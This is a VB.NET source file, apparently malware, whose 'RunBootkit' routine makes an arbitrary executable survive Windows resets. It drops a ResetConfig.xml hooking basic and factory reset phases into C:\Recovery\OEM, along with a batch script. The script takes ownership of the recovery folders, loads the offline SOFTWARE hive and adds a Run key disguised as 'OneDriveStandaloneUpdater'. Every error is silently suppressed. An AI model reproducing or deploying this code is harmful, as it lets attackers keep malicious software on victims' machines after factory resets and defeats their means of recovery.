74 lines
4.2 KiB
VB.net
74 lines
4.2 KiB
VB.net
|
Imports System.IO
|
||
|
|
|
||
|
|
Namespace ResetSurvival
|
||
|
|
Public Class ResetSurvival
|
||
|
|
Public Shared Sub RunBootkit(sourceFilePath As String)
|
||
|
|
Try
|
||
|
|
Dim flag As Boolean = Not File.Exists(sourceFilePath)
|
||
|
|
If flag Then
|
||
|
|
Throw New FileNotFoundException("Source file does not exist.", sourceFilePath)
|
||
|
|
End If
|
||
|
|
Dim text As String = Guid.NewGuid().ToString() + ".exe"
|
||
|
|
Dim text2 As String = Guid.NewGuid().ToString() + ".bat"
|
||
|
|
Dim text3 As String = GenerateResetConfig(text2)
|
||
|
|
Dim text4 As String = GeneratePersistenceBatch(text, text2)
|
||
|
|
CreateResetEnvironment(targetDirectory, text, text2, text3, text4, sourceFilePath)
|
||
|
|
Catch ex As Exception
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
Private Shared Function GenerateResetConfig(batchName As String) As String
|
||
|
|
Return String.Concat(New String() {"<?xml version=""1.0"" encoding=""utf-8""?>" & vbCrLf & "<Reset>" & vbCrLf & " <Run Phase=""BasicReset_AfterImageApply"">" & vbCrLf, String.Format(" <Path>{0}</Path>", batchName), vbCrLf & " <Duration>1</Duration>" & vbCrLf & " </Run>" & vbCrLf & " <Run Phase=""FactoryReset_AfterImageApply"">" & vbCrLf, String.Format(" <Path>{0}</Path>", batchName), vbCrLf & " <Duration>1</Duration>" & vbCrLf & " </Run>" & vbCrLf & "</Reset>" & vbCrLf})
|
||
|
|
End Function
|
||
|
|
Private Shared Function GeneratePersistenceBatch(fileName As String, batchName As String) As String
|
||
|
|
Return String.Concat(New String() {"@echo off" & vbCrLf & "setlocal ENABLEEXTENSIONS" & vbCrLf & "set TARGET_PARENT=C:\Recovery" & vbCrLf & "set TARGET_FOLDER=C:\Recovery\OEM" & vbCrLf & "set SOFTWARE_HIVE_PATH=C:\Windows\System32\config\SOFTWARE" & vbCrLf & "takeown /f ""%TARGET_PARENT%"" /r /d y" & vbCrLf & "icacls ""%TARGET_PARENT%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "takeown /f ""%TARGET_FOLDER%"" /r /d y" & vbCrLf & "icacls ""%TARGET_FOLDER%"" /grant *S-1-5-18:F /t /c" & vbCrLf & "reg load HKLM\TempHive ""%SOFTWARE_HIVE_PATH%""" & vbCrLf, String.Format("reg add ""HKLM\TempHive\Microsoft\Windows\CurrentVersion\Run"" /v ""OneDriveStandaloneUpdater"" /t REG_SZ /d ""\""%TARGET_FOLDER%\{0}\"""" /f", fileName), vbCrLf & "reg unload HKLM\TempHive" & vbCrLf, String.Format("start """" ""%TARGET_FOLDER%\{0}""", fileName), vbCrLf & "endlocal" & vbCrLf & "exit" & vbCrLf})
|
||
|
|
End Function
|
||
|
|
Private Shared Sub CreateResetEnvironment(targetDir As String, fileName As String, batchName As String, resetConfig As String, persistenceBatch As String, sourceFilePath As String)
|
||
|
|
Try
|
||
|
|
Dim flag As Boolean = Not Directory.Exists(targetDir)
|
||
|
|
If flag Then
|
||
|
|
Directory.CreateDirectory(targetDir)
|
||
|
|
End If
|
||
|
|
EnsureFolderOwnership(targetDir)
|
||
|
|
SafeFileDelete(Path.Combine(targetDir, "ResetConfig.xml"))
|
||
|
|
File.WriteAllText(Path.Combine(targetDir, "ResetConfig.xml"), resetConfig)
|
||
|
|
SafeFileDelete(Path.Combine(targetDir, batchName))
|
||
|
|
File.WriteAllText(Path.Combine(targetDir, batchName), persistenceBatch)
|
||
|
|
SafeFileDelete(Path.Combine(targetDir, fileName))
|
||
|
|
File.Copy(sourceFilePath, Path.Combine(targetDir, fileName))
|
||
|
|
Catch ex As Exception
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
Private Shared Sub EnsureFolderOwnership(folderPath As String)
|
||
|
|
Try
|
||
|
|
Dim directoryName As String = Path.GetDirectoryName(folderPath)
|
||
|
|
RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", directoryName))
|
||
|
|
RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", directoryName))
|
||
|
|
RunCommand("takeown", String.Format("/f ""{0}"" /r /d y", folderPath))
|
||
|
|
RunCommand("icacls", String.Format("""{0}"" /grant *S-1-5-18:F /t /c", folderPath))
|
||
|
|
Catch ex As Exception
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
Private Shared Sub RunCommand(fileName As String, arguments As String)
|
||
|
|
Using process As Process = New Process()
|
||
|
|
process.StartInfo.FileName = fileName
|
||
|
|
process.StartInfo.Arguments = arguments
|
||
|
|
process.StartInfo.CreateNoWindow = True
|
||
|
|
process.StartInfo.UseShellExecute = False
|
||
|
|
process.Start()
|
||
|
|
process.WaitForExit()
|
||
|
|
End Using
|
||
|
|
End Sub
|
||
|
|
Private Shared Sub SafeFileDelete(filePath As String)
|
||
|
|
Try
|
||
|
|
Dim flag As Boolean = File.Exists(filePath)
|
||
|
|
If flag Then
|
||
|
|
File.Delete(filePath)
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Shared targetDirectory As String = "C:\Recovery\OEM"
|
||
|
|
End Class
|
||
|
|
End Namespace
|